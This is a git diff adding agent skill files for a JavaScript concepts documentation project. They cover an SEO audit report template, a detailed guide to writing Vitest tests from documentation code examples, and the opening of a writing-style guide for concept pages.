+## Target Keywords
+
+**Primary Keyword:** [e.g., "JavaScript closures"]
+**Secondary Keywords:**
+- [keyword 1]
+- [keyword 2]
+- [keyword 3]
+
+**Search Intent:** Informational / How-to / Comparison
+
+---
+
+## Title Tag Analysis
+
+**Current Title:** "[current title from frontmatter]"
+**Character Count:** XX characters
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Length 50-60 chars | ✅/❌ | XX characters |
+| Primary keyword in first half | ✅/❌ | [notes] |
+| Ends with "in JavaScript" | ✅/❌ | [notes] |
+| Contains compelling hook | ✅/❌ | [notes] |
+
+**Issues Found:** [if any]
+
+**Recommended Title:** "[suggested title]" (XX chars)
+
+---
+
+## Meta Description Analysis
+
+**Current Description:** "[current description from frontmatter]"
+**Character Count:** XX characters
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Length 150-160 chars | ✅/❌ | XX characters |
+| Starts with action word | ✅/❌ | Starts with "[word]" |
+| Contains primary keyword | ✅/❌ | [notes] |
+| Promises specific value | ✅/❌ | [notes] |
+
+**Issues Found:** [if any]
+
+**Recommended Description:** "[suggested description]" (XX chars)
+
+---
+
+## Keyword Placement Analysis
+
+**Score:** X/5
+
+| Location | Present | Notes |
+|----------|---------|-------|
+| Title | ✅/❌ | [notes] |
+| Meta description | ✅/❌ | [notes] |
+| First 100 words | ✅/❌ | Found at word XX |
+| H2 heading | ✅/❌ | Found in: "[H2 text]" |
+| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |
+
+**Missing Keyword Placements:**
+- [ ] [Location where keyword should be added]
+
+---
+
+## Content Structure Analysis
+
+**Word Count:** X,XXX words
+**Score:** X/6
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Question hook opening | ✅/❌ | [notes] |
+| Code in first 200 words | ✅/❌ | Code appears at word XX |
+| "What you'll learn" box | ✅/❌ | [present/missing] |
+| Short paragraphs | ✅/❌ | [notes on paragraph length] |
+| 1,500+ words | ✅/❌ | X,XXX words |
+| Bolded key terms | ✅/❌ | [notes] |
+
+**Structure Issues:**
+- [ ] [Issue and recommendation]
+
+---
+
+## Featured Snippet Analysis
+
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| 40-60 word definition | ✅/❌ | Currently XX words |
+| Question-format H2 | ✅/❌ | Found: "[H2]" / Not found |
+| Numbered steps | ✅/❌ | [notes] |
+| Comparison tables | ✅/❌/N/A | [notes] |
+
+**Snippet Opportunities:**
+
+1. **"What is [concept]" snippet:**
+ - Current definition: XX words
+ - Action: [Expand to/Trim to] 40-60 words
+
+2. **"How to [action]" snippet:**
+ - Action: [Add Steps component / Already present]
+
+---
+
+## Internal Linking Analysis
+
+**Score:** X/4
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| 3-5 internal links in body | ✅/❌ | Found X links |
+| Descriptive anchor text | ✅/❌ | [notes] |
+| Prerequisites in Warning | ✅/❌ | [present/missing] |
+| Related Concepts section | ✅/❌ | X cards present |
+
+**Current Internal Links:**
+1. [Anchor text] → `/concepts/[slug]`
+2. [Anchor text] → `/concepts/[slug]`
+
+**Recommended Links to Add:**
+- Link to [concept] in [section/context]
+- Link to [concept] in [section/context]
+
+**Bad Anchor Text Found:**
+- Line XX: "click here" → change to "[descriptive text]"
+
+---
+
+## Technical SEO Analysis
+
+**Score:** X/3
+
+| Check | Status | Notes |
+|-------|--------|-------|
+| Single H1 per page | ✅/❌ | [Found X H1 tags] |
+| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |
+| Not an orphan page | ✅/❌ | Linked from X other pages |
+
+**H1 Tags Found:**
+- Line XX: `# [H1 text]` ← Should be the only one
+- [List any additional H1s that need to be changed to H2]
+
+**Slug Analysis:**
+- Current slug: `[slug].mdx`
+- Contains keyword: ✅/❌
+- Format correct: ✅/❌ (lowercase, hyphens, no special chars)
+
+**Incoming Links Found:**
+1. `/concepts/[other-concept]` → Links to this page in [section]
+2. `/concepts/[other-concept]` → Links in Related Concepts
+
+**If orphan page, add links from:**
+- [Suggested concept page] in [section]
+- [Suggested concept page] in Related Concepts
+
+---
+
+## Priority Fixes
+
+### High Priority (Do First)
+
+1. **[Issue]**
+ - Current: [what it is now]
+ - Recommended: [what it should be]
+ - Impact: [why this matters]
+
+2. **[Issue]**
+ - Current: [what it is now]
+ - Recommended: [what it should be]
+ - Impact: [why this matters]
+
+### Medium Priority
+
+1. **[Issue]**
+ - Recommendation: [fix]
+
+### Low Priority (Nice to Have)
+
+1. **[Issue]**
+ - Recommendation: [fix]
+
+---
+
+## Competitive Analysis (Optional)
+
+**Top-Ranking Pages for "[primary keyword]":**
+
+1. **[Competitor 1 - URL]**
+ - What they do well: [observation]
+ - Word count: ~X,XXX
+
+2. **[Competitor 2 - URL]**
+ - What they do well: [observation]
+ - Word count: ~X,XXX
+
+**Our Advantages:**
+- [What we do better]
+
+**Gaps to Fill:**
+- [What we're missing that competitors have]
+
+---
+
+## Implementation Checklist
+
+After making fixes, verify:
+
+- [ ] Title is 50-60 characters with keyword and hook
+- [ ] Description is 150-160 characters with action word and value
+- [ ] Primary keyword in title, description, first 100 words, and H2
+- [ ] Opens with question hook
+- [ ] Code example in first 200 words
+- [ ] "What you'll learn" Info box present
+- [ ] Paragraphs are 2-4 sentences
+- [ ] 1,500+ words total
+- [ ] Key terms bolded on first mention
+- [ ] 40-60 word definition for featured snippet
+- [ ] At least one question-format H2
+- [ ] 3-5 internal links with descriptive anchor text
+- [ ] Prerequisites in Warning box (if applicable)
+- [ ] Related Concepts section has 4 cards
+- [ ] Single H1 per page (title only)
+- [ ] URL slug contains primary keyword
+- [ ] Page linked from at least one other concept page
+- [ ] All fixes implemented and verified
+
+---
+
+## Final Recommendation
+
+**Ready to Publish:** ✅ Yes / ❌ No - [reason]
+
+**Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"]
+```
+
+---
+
+## Quick Reference
+
+### Character Counts
+
+| Element | Ideal Length |
+|---------|--------------|
+| Title | 50-60 characters |
+| Meta Description | 150-160 characters |
+| Definition paragraph | 40-60 words |
+
+### Keyword Density
+
+- Don't exceed 3-4 mentions of exact phrase per 1,000 words
+- Use variations naturally (e.g., "closures", "closure", "JavaScript closures")
+
+### Content Length
+
+| Length | Assessment |
+|--------|------------|
+| <1,000 words | Too thin - add depth |
+| 1,000-1,500 | Minimum viable |
+| 1,500-2,500 | Good |
+| 2,500-4,000 | Excellent |
+| >4,000 | Consider splitting |
+
+---
+
+## Summary
+
+When auditing a concept page for SEO:
+
+1. **Identify target keywords** using the keyword cluster for that concept
+2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript"
+3. **Check meta description** — 150-160 chars, action word, keyword, specific value
+4. **Verify keyword placement** — Title, description, first 100 words, H2
+5. **Audit content structure** — Question hook, early code, Info box, short paragraphs
+6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables
+7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section
+8. **Generate report** — Document score, issues, and prioritized fixes
+
+**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.
diff --git a/.opencode/skill/test-writer/SKILL.md b/.opencode/skill/test-writer/SKILL.md
new file mode 100644
index 00000000..b08c3935
--- /dev/null
+++ b/.opencode/skill/test-writer/SKILL.md
@@ -0,0 +1,940 @@
+---
+name: test-writer
+description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines
+---
+
+# Skill: Test Writer for Concept Pages
+
+Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.
+
+## When to Use
+
+- After writing a new concept page
+- When adding new code examples to existing pages
+- When updating existing code examples
+- To verify documentation accuracy through automated tests
+- Before publishing to ensure all examples work correctly
+
+## Test Writing Methodology
+
+Follow these four phases to create comprehensive tests for a concept page.
+
+### Phase 1: Code Example Extraction
+
+Scan the concept page for all code examples and categorize them:
+
+| Category | Characteristics | Action |
+|----------|-----------------|--------|
+| **Testable** | Has `console.log` with output comments, returns values | Write tests |
+| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |
+| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |
+| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |
+| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |
+
+### Phase 2: Determine Test File Structure
+
+```
+tests/
+├── fundamentals/ # Concepts 1-6
+├── functions-execution/ # Concepts 7-8
+├── web-platform/ # Concepts 9-10
+├── object-oriented/ # Concepts 11-15
+├── functional-programming/ # Concepts 16-19
+├── async-javascript/ # Concepts 20-22
+├── advanced-topics/ # Concepts 23-31
+└── beyond/ # Extended concepts
+ └── {subcategory}/
+```
+
+**File naming:**
+- Standard tests: `{concept-name}.test.js`
+- DOM tests: `{concept-name}.dom.test.js`
+
+### Phase 3: Convert Examples to Tests
+
+For each testable code example:
+
+1. Identify the expected output (from `console.log` comments or documented behavior)
+2. Convert to `expect` assertions
+3. Add source line reference in comments
+4. Group related tests in `describe` blocks matching documentation sections
+
+### Phase 4: Handle Special Cases
+
+| Case | Solution |
+|------|----------|
+| Browser-only APIs | Use jsdom environment or skip with note |
+| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |
+| Side effects | Capture output or test mutations |
+| Intentional errors | Use `expect(() => {...}).toThrow()` |
+| Async code | Use `async/await` with proper assertions |
+
+---
+
+## Project Test Conventions
+
+### Import Pattern
+
+```javascript
+import { describe, it, expect } from 'vitest'
+```
+
+For DOM tests or tests needing mocks:
+
+```javascript
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+```
+
+### DOM Test File Header
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+```
+
+### Describe Block Organization
+
+Match the structure of the documentation:
+
+```javascript
+describe('Concept Name', () => {
+ describe('Section from Documentation', () => {
+ describe('Subsection if needed', () => {
+ it('should [specific behavior]', () => {
+ // Test
+ })
+ })
+ })
+})
+```
+
+### Test Naming Convention
+
+- Start with "should"
+- Be descriptive and specific
+- Match the documented behavior
+
+```javascript
+// Good
+it('should return "object" for typeof null', () => {})
+it('should throw TypeError when accessing property of undefined', () => {})
+it('should resolve promises in order they were created', () => {})
+
+// Bad
+it('test typeof', () => {})
+it('works correctly', () => {})
+it('null test', () => {})
+```
+
+### Source Line References
+
+Always reference the documentation source:
+
+```javascript
+// ============================================================
+// SECTION NAME FROM DOCUMENTATION
+// From {concept}.mdx lines XX-YY
+// ============================================================
+
+describe('Section Name', () => {
+ // From lines 45-52: Basic typeof examples
+ it('should return correct type strings', () => {
+ // Test
+ })
+})
+```
+
+---
+
+## Test Patterns Reference
+
+### Pattern 1: Basic Value Assertion
+
+**Documentation:**
+```javascript
+console.log(typeof "hello") // "string"
+console.log(typeof 42) // "number"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: typeof examples
+it('should return correct type for primitives', () => {
+ expect(typeof "hello").toBe("string")
+ expect(typeof 42).toBe("number")
+})
+```
+
+---
+
+### Pattern 2: Multiple Related Assertions
+
+**Documentation:**
+```javascript
+let a = "hello"
+let b = "hello"
+console.log(a === b) // true
+
+let obj1 = { x: 1 }
+let obj2 = { x: 1 }
+console.log(obj1 === obj2) // false
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Primitive vs object comparison
+it('should compare primitives by value', () => {
+ let a = "hello"
+ let b = "hello"
+ expect(a === b).toBe(true)
+})
+
+it('should compare objects by reference', () => {
+ let obj1 = { x: 1 }
+ let obj2 = { x: 1 }
+ expect(obj1 === obj2).toBe(false)
+})
+```
+
+---
+
+### Pattern 3: Function Return Values
+
+**Documentation:**
+```javascript
+function greet(name) {
+ return "Hello, " + name + "!"
+}
+
+console.log(greet("Alice")) // "Hello, Alice!"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: greet function example
+it('should return greeting with name', () => {
+ function greet(name) {
+ return "Hello, " + name + "!"
+ }
+
+ expect(greet("Alice")).toBe("Hello, Alice!")
+})
+```
+
+---
+
+### Pattern 4: Error Testing
+
+**Documentation:**
+```javascript
+// This throws an error!
+const obj = null
+console.log(obj.property) // TypeError: Cannot read property of null
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Accessing property of null
+it('should throw TypeError when accessing property of null', () => {
+ const obj = null
+
+ expect(() => {
+ obj.property
+ }).toThrow(TypeError)
+})
+```
+
+---
+
+### Pattern 5: Specific Error Messages
+
+**Documentation:**
+```javascript
+function divide(a, b) {
+ if (b === 0) throw new Error("Cannot divide by zero")
+ return a / b
+}
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: divide function with error
+it('should throw error when dividing by zero', () => {
+ function divide(a, b) {
+ if (b === 0) throw new Error("Cannot divide by zero")
+ return a / b
+ }
+
+ expect(() => divide(10, 0)).toThrow("Cannot divide by zero")
+ expect(divide(10, 2)).toBe(5)
+})
+```
+
+---
+
+### Pattern 6: Async/Await Testing
+
+**Documentation:**
+```javascript
+async function fetchUser(id) {
+ const response = await fetch(`/api/users/${id}`)
+ return response.json()
+}
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: async fetchUser function
+it('should fetch user data asynchronously', async () => {
+ // Mock fetch for testing
+ global.fetch = vi.fn(() =>
+ Promise.resolve({
+ json: () => Promise.resolve({ id: 1, name: 'Alice' })
+ })
+ )
+
+ async function fetchUser(id) {
+ const response = await fetch(`/api/users/${id}`)
+ return response.json()
+ }
+
+ const user = await fetchUser(1)
+ expect(user).toEqual({ id: 1, name: 'Alice' })
+})
+```
+
+---
+
+### Pattern 7: Promise Testing
+
+**Documentation:**
+```javascript
+const promise = new Promise((resolve) => {
+ resolve("done")
+})
+
+promise.then(result => console.log(result)) // "done"
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Basic Promise resolution
+it('should resolve with correct value', async () => {
+ const promise = new Promise((resolve) => {
+ resolve("done")
+ })
+
+ await expect(promise).resolves.toBe("done")
+})
+```
+
+---
+
+### Pattern 8: Promise Rejection
+
+**Documentation:**
+```javascript
+const promise = new Promise((resolve, reject) => {
+ reject(new Error("Something went wrong"))
+})
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Promise rejection
+it('should reject with error', async () => {
+ const promise = new Promise((resolve, reject) => {
+ reject(new Error("Something went wrong"))
+ })
+
+ await expect(promise).rejects.toThrow("Something went wrong")
+})
+```
+
+---
+
+### Pattern 9: Floating Point Comparison
+
+**Documentation:**
+```javascript
+console.log(0.1 + 0.2) // 0.30000000000000004
+console.log(0.1 + 0.2 === 0.3) // false
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Floating point precision
+it('should demonstrate floating point imprecision', () => {
+ expect(0.1 + 0.2).not.toBe(0.3)
+ expect(0.1 + 0.2).toBeCloseTo(0.3)
+ expect(0.1 + 0.2 === 0.3).toBe(false)
+})
+```
+
+---
+
+### Pattern 10: Array Method Testing
+
+**Documentation:**
+```javascript
+const numbers = [1, 2, 3, 4, 5]
+const doubled = numbers.map(n => n * 2)
+console.log(doubled) // [2, 4, 6, 8, 10]
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Array map example
+it('should double all numbers in array', () => {
+ const numbers = [1, 2, 3, 4, 5]
+ const doubled = numbers.map(n => n * 2)
+
+ expect(doubled).toEqual([2, 4, 6, 8, 10])
+ expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged
+})
+```
+
+---
+
+### Pattern 11: Object Mutation Testing
+
+**Documentation:**
+```javascript
+const obj = { a: 1 }
+obj.b = 2
+console.log(obj) // { a: 1, b: 2 }
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Object mutation
+it('should allow adding properties to objects', () => {
+ const obj = { a: 1 }
+ obj.b = 2
+
+ expect(obj).toEqual({ a: 1, b: 2 })
+})
+```
+
+---
+
+### Pattern 12: Closure Testing
+
+**Documentation:**
+```javascript
+function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+}
+
+const increment = counter()
+console.log(increment()) // 1
+console.log(increment()) // 2
+console.log(increment()) // 3
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Closure counter example
+it('should maintain state across calls via closure', () => {
+ function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+ }
+
+ const increment = counter()
+ expect(increment()).toBe(1)
+ expect(increment()).toBe(2)
+ expect(increment()).toBe(3)
+})
+
+it('should create independent counters', () => {
+ function counter() {
+ let count = 0
+ return function() {
+ count++
+ return count
+ }
+ }
+
+ const counter1 = counter()
+ const counter2 = counter()
+
+ expect(counter1()).toBe(1)
+ expect(counter1()).toBe(2)
+ expect(counter2()).toBe(1) // Independent
+})
+```
+
+---
+
+### Pattern 13: DOM Event Testing
+
+**Documentation:**
+```javascript
+const button = document.getElementById('myButton')
+button.addEventListener('click', function(event) {
+ console.log('Button clicked!')
+ console.log(event.type) // "click"
+})
+```
+
+**Test (in .dom.test.js file):**
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, beforeEach, afterEach } from 'vitest'
+
+describe('DOM Event Handlers', () => {
+ let button
+
+ beforeEach(() => {
+ button = document.createElement('button')
+ button.id = 'myButton'
+ document.body.appendChild(button)
+ })
+
+ afterEach(() => {
+ document.body.innerHTML = ''
+ })
+
+ // From lines XX-YY: Button click event
+ it('should fire click event handler', () => {
+ const output = []
+
+ button.addEventListener('click', function(event) {
+ output.push('Button clicked!')
+ output.push(event.type)
+ })
+
+ button.click()
+
+ expect(output).toEqual(['Button clicked!', 'click'])
+ })
+})
+```
+
+---
+
+### Pattern 14: DOM Manipulation Testing
+
+**Documentation:**
+```javascript
+const div = document.createElement('div')
+div.textContent = 'Hello'
+div.classList.add('greeting')
+document.body.appendChild(div)
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Creating and appending elements
+it('should create element with text and class', () => {
+ const div = document.createElement('div')
+ div.textContent = 'Hello'
+ div.classList.add('greeting')
+ document.body.appendChild(div)
+
+ const element = document.querySelector('.greeting')
+ expect(element).not.toBeNull()
+ expect(element.textContent).toBe('Hello')
+ expect(element.classList.contains('greeting')).toBe(true)
+})
+```
+
+---
+
+### Pattern 15: Timer Testing
+
+**Documentation:**
+```javascript
+console.log('First')
+setTimeout(() => console.log('Second'), 0)
+console.log('Third')
+// Output: First, Third, Second
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: setTimeout execution order
+it('should execute setTimeout callback after synchronous code', async () => {
+ const output = []
+
+ output.push('First')
+ setTimeout(() => output.push('Second'), 0)
+ output.push('Third')
+
+ // Wait for setTimeout to execute
+ await new Promise(resolve => setTimeout(resolve, 10))
+
+ expect(output).toEqual(['First', 'Third', 'Second'])
+})
+```
+
+---
+
+### Pattern 16: Strict Mode Behavior
+
+**Documentation:**
+```javascript
+// In strict mode, this throws
+"use strict"
+x = 10 // ReferenceError: x is not defined
+```
+
+**Test:**
+```javascript
+// From lines XX-YY: Strict mode variable declaration
+it('should throw ReferenceError in strict mode for undeclared variables', () => {
+ // Vitest runs in strict mode by default
+ expect(() => {
+ // Using eval to test strict mode behavior
+ "use strict"
+ eval('undeclaredVar = 10')
+ }).toThrow()
+})
+```
+
+---
+
+## Complete Test File Template
+
+```javascript
+import { describe, it, expect } from 'vitest'
+
+describe('[Concept Name]', () => {
+ // ============================================================
+ // [FIRST SECTION NAME FROM DOCUMENTATION]
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('[First Section]', () => {
+ // From lines XX-YY: [Brief description of example]
+ it('should [expected behavior]', () => {
+ // Code from documentation
+
+ expect(result).toBe(expected)
+ })
+
+ // From lines XX-YY: [Brief description of next example]
+ it('should [another expected behavior]', () => {
+ // Code from documentation
+
+ expect(result).toEqual(expected)
+ })
+ })
+
+ // ============================================================
+ // [SECOND SECTION NAME FROM DOCUMENTATION]
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('[Second Section]', () => {
+ // From lines XX-YY: [Description]
+ it('should [behavior]', () => {
+ // Test
+ })
+ })
+
+ // ============================================================
+ // EDGE CASES AND COMMON MISTAKES
+ // From [concept].mdx lines XX-YY
+ // ============================================================
+
+ describe('Edge Cases', () => {
+ // From lines XX-YY: [Edge case description]
+ it('should handle [edge case]', () => {
+ // Test
+ })
+ })
+
+ describe('Common Mistakes', () => {
+ // From lines XX-YY: Wrong way example
+ it('should demonstrate the incorrect behavior', () => {
+ // Test showing why the "wrong" way fails
+ })
+
+ // From lines XX-YY: Correct way example
+ it('should demonstrate the correct behavior', () => {
+ // Test showing the right approach
+ })
+ })
+})
+```
+
+---
+
+## Complete DOM Test File Template
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+
+// ============================================================
+// DOM EXAMPLES FROM [CONCEPT NAME]
+// From [concept].mdx lines XX-YY
+// ============================================================
+
+describe('[Concept Name] - DOM', () => {
+ // Shared setup
+ let container
+
+ beforeEach(() => {
+ // Create a fresh container for each test
+ container = document.createElement('div')
+ container.id = 'test-container'
+ document.body.appendChild(container)
+ })
+
+ afterEach(() => {
+ // Clean up after each test
+ document.body.innerHTML = ''
+ vi.restoreAllMocks()
+ })
+
+ // ============================================================
+ // [SECTION NAME]
+ // From lines XX-YY
+ // ============================================================
+
+ describe('[Section Name]', () => {
+ // From lines XX-YY: [Example description]
+ it('should [expected DOM behavior]', () => {
+ // Setup
+ const element = document.createElement('div')
+ container.appendChild(element)
+
+ // Action
+ element.textContent = 'Hello'
+
+ // Assert
+ expect(element.textContent).toBe('Hello')
+ })
+ })
+
+ // ============================================================
+ // EVENT HANDLING
+ // From lines XX-YY
+ // ============================================================
+
+ describe('Event Handling', () => {
+ // From lines XX-YY: Click event example
+ it('should handle click events', () => {
+ const button = document.createElement('button')
+ container.appendChild(button)
+
+ let clicked = false
+ button.addEventListener('click', () => {
+ clicked = true
+ })
+
+ button.click()
+
+ expect(clicked).toBe(true)
+ })
+ })
+})
+```
+
+---
+
+## Running Tests
+
+```bash
+# Run all tests
+npm test
+
+# Run tests for specific concept
+npm test -- tests/fundamentals/primitive-types/
+
+# Run tests for specific file
+npm test -- tests/fundamentals/primitive-types/primitive-types.test.js
+
+# Run DOM tests only
+npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js
+
+# Run with watch mode
+npm run test:watch
+
+# Run with coverage
+npm run test:coverage
+
+# Run with verbose output
+npm test -- --reporter=verbose
+```
+
+---
+
+## Quality Checklist
+
+### Completeness
+- [ ] All testable code examples have corresponding tests
+- [ ] Tests organized by documentation sections
+- [ ] Source line references included in comments (From lines XX-YY)
+- [ ] DOM tests in separate `.dom.test.js` file
+- [ ] Edge cases and error examples tested
+
+### Correctness
+- [ ] Tests verify the actual documented behavior
+- [ ] Output comments in docs match test expectations
+- [ ] Async tests properly use async/await
+- [ ] Error tests use correct `toThrow` pattern
+- [ ] Floating point comparisons use `toBeCloseTo`
+- [ ] Object comparisons use `toEqual` (not `toBe`)
+
+### Convention
+- [ ] Uses explicit imports from vitest
+- [ ] Follows describe/it nesting pattern
+- [ ] Test names start with "should"
+- [ ] Proper file naming (`{concept}.test.js`)
+- [ ] DOM tests have jsdom environment directive
+
+### Verification
+- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`
+- [ ] No skipped tests without documented reason
+- [ ] No false positives (tests that pass for wrong reasons)
+
+---
+
+## Test Report Template
+
+Use this template to document test coverage for a concept page.
+
+```markdown
+# Test Coverage Report: [Concept Name]
+
+**Concept Page:** `/docs/concepts/[slug].mdx`
+**Test File:** `/tests/{category}/{concept}/{concept}.test.js`
+**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)
+**Date:** YYYY-MM-DD
+**Author:** [Name/Claude]
+
+## Summary
+
+| Metric | Count |
+|--------|-------|
+| Total Code Examples in Doc | XX |
+| Testable Examples | XX |
+| Tests Written | XX |
+| DOM Tests Written | XX |
+| Skipped (with reason) | XX |
+
+## Tests by Section
+
+| Section | Line Range | Examples | Tests | Status |
+|---------|------------|----------|-------|--------|
+| [Section 1] | XX-YY | X | X | ✅ |
+| [Section 2] | XX-YY | X | X | ✅ |
+| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |
+
+## Skipped Examples
+
+| Line | Example Description | Reason |
+|------|---------------------|--------|
+| XX | ASCII diagram of call stack | Conceptual, not executable |
+| YY | Browser fetch example | Requires network, mocked instead |
+
+## Test Execution
+
+```bash
+npm test -- tests/{category}/{concept}/
+```
+
+**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped
+
+## Notes
+
+[Any special considerations, mock requirements, or issues encountered]
+```
+
+---
+
+## Common Issues and Solutions
+
+### Issue: Test passes but shouldn't
+
+**Problem:** Test expectations don't match documentation output
+
+**Solution:** Double-check the expected value matches the `console.log` comment exactly
+
+```javascript
+// Documentation says: console.log(result) // [1, 2, 3]
+// Make sure test uses:
+expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays
+```
+
+### Issue: Async test times out
+
+**Problem:** Async test never resolves
+
+**Solution:** Ensure all promises are awaited and async function is marked
+
+```javascript
+// Bad
+it('should fetch data', () => {
+ const data = fetchData() // Missing await!
+ expect(data).toBeDefined()
+})
+
+// Good
+it('should fetch data', async () => {
+ const data = await fetchData()
+ expect(data).toBeDefined()
+})
+```
+
+### Issue: DOM test fails with "document is not defined"
+
+**Problem:** Missing jsdom environment
+
+**Solution:** Add environment directive at top of file
+
+```javascript
+/**
+ * @vitest-environment jsdom
+ */
+```
+
+### Issue: Test isolation problems
+
+**Problem:** Tests affect each other
+
+**Solution:** Use beforeEach/afterEach for cleanup
+
+```javascript
+afterEach(() => {
+ document.body.innerHTML = ''
+ vi.restoreAllMocks()
+})
+```
+
+---
+
+## Summary
+
+When writing tests for a concept page:
+
+1. **Extract all code examples** from the documentation
+2. **Categorize** as testable, DOM, error, or conceptual
+3. **Create test file** in correct location with proper naming
+4. **Convert each example** to test using appropriate pattern
+5. **Reference source lines** in comments for traceability
+6. **Run tests** to verify all pass
+7. **Document coverage** using the report template
+
+**Remember:** Tests serve two purposes:
+1. Verify documentation is accurate
+2. Catch regressions if code examples are updated
+
+Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.
diff --git a/.opencode/skill/write-concept/SKILL.md b/.opencode/skill/write-concept/SKILL.md
new file mode 100644
index 00000000..26fd5a6a
--- /dev/null
+++ b/.opencode/skill/write-concept/SKILL.md
@@ -0,0 +1,1444 @@
+---
+name: write-concept
+description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines
+---
+
+# Skill: Write JavaScript Concept Documentation
+
+Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.
+
+## When to Use
+
+- Creating a new concept page in `/docs/concepts/`
+- Rewriting or significantly improving an existing concept page
+- Reviewing an existing concept page for quality and completeness
+- Adding explanatory content to a concept
+
+## Target Audience
+
+Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.
+
+## Writing Guidelines
+
+### Voice and Tone
+
+- **Conversational but authoritative**: Write like you're explaining to a smart friend
+- **Encouraging**: Make complex topics feel approachable
+- **Practical**: Focus on real-world applications and use cases
+- **Concise**: Respect the reader's time; avoid unnecessary verbosity
+- **Question-driven**: Open sections with questions the reader might have
+
+### Avoiding AI-Generated Language
+
+Your writing must sound human, not AI-generated. Here are specific patterns to avoid:
+
+#### Words and Phrases to Avoid
+
+| ❌ Avoid | ✓ Use Instead |
+|----------|---------------|
+| "Master [concept]" | "Learn [concept]" |
+| "dramatically easier/better" | "much easier" or "cleaner" |
+| "one fundamental thing" | "one simple thing" |
+| "one of the most important concepts" | "This is a big one" |
+| "essential points" | "key things to remember" |
+| "understanding X deeply improves" | "knowing X well makes Y easier" |
+| "To truly understand" | "Let's look at" or "Here's how" |
+| "This is crucial" | "This trips people up" |
+| "It's worth noting that" | Just state the thing directly |
+| "It's important to remember" | "Don't forget:" or "Remember:" |
+| "In order to" | "To" |
+| "Due to the fact that" | "Because" |
+| "At the end of the day" | Remove entirely |
+| "When it comes to" | Remove or rephrase |
+| "In this section, we will" | Just start explaining |
+| "As mentioned earlier" | Remove or link to the section |
+
+#### Repetitive Emphasis Patterns
+
+Don't use the same lead-in pattern repeatedly. Vary your emphasis:
+
+| Instead of repeating... | Vary with... |
+|------------------------|--------------|
+| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" |
+| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" |
+| "Important:" | "Watch out:", "Heads up:", "Note:" |
+| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" |
+
+#### Em Dash (—) Overuse
+
+AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:
+
+| ❌ Em Dash Overuse | ✓ Better Alternative |
+|-------------------|---------------------|
+| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." |
+| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." |
+| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." |
+| "outside of async functions — but only in..." | "outside of async functions, but only in..." |
+| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." |
+| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." |
+
+**When em dashes ARE acceptable:**
+- In Key Takeaways section (consistent formatting for the numbered list)
+- In MDN card titles (e.g., "async function — MDN")
+- In interview answer step-by-step explanations (structured formatting)
+- Sparingly when a true parenthetical aside reads naturally
+
